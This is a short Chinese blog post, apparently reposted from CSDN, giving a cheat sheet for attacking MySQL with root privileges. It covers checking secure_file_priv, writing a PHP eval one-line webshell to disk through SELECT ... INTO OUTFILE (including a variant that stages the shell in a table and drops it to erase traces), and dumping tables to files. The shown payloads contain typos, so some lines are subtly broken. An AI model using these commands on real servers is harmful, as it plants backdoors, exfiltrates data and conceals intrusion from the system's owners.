MYSQL数据库脱库写马写一句话

0x00 前提条件

权限: 必须是ROOT
secure_file_priv的限制
可以使用 mysql命令查询 show variables like '%secure%’;

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

0x01 写入Websehll

  • 利用函数
  • - into dumpfile()
  • - into outfile()
  • - load_file()

01. 直接写入

注意:这个方法必须得是ROOT用户权限

  select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php'

02. 创建表单写入

1.先创建数据表

CREATE  table 'mysql'.'shell' ('webshell'  text not null)

2.向表单中写入一句话

insert Into  mysql.shell  values('<?php $eval($_POST[shell]);?>');

3.查询数据导出webshell

select 'webshell' from 'shell'  into outfile 'c:\\1.php'

4.删除表,清理痕迹。

drop table if exists 'shell'

0x02 脱库

0x1 Into outfile

select * from test into outfile '/tmp/test.txt'

0x2 Into dumpfile

 select * from test into dumpfile '/tmp/test.txt'

0x3 outfile 与dumpfile的脱裤区别

1.dumpfile只输出一行内容,outfile多行。
2.outfile函数在将数据写入到文件时会进行特殊格式转换 例如\n,则dumpfile则保持原数据格式。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/u010062917/article/details/105739807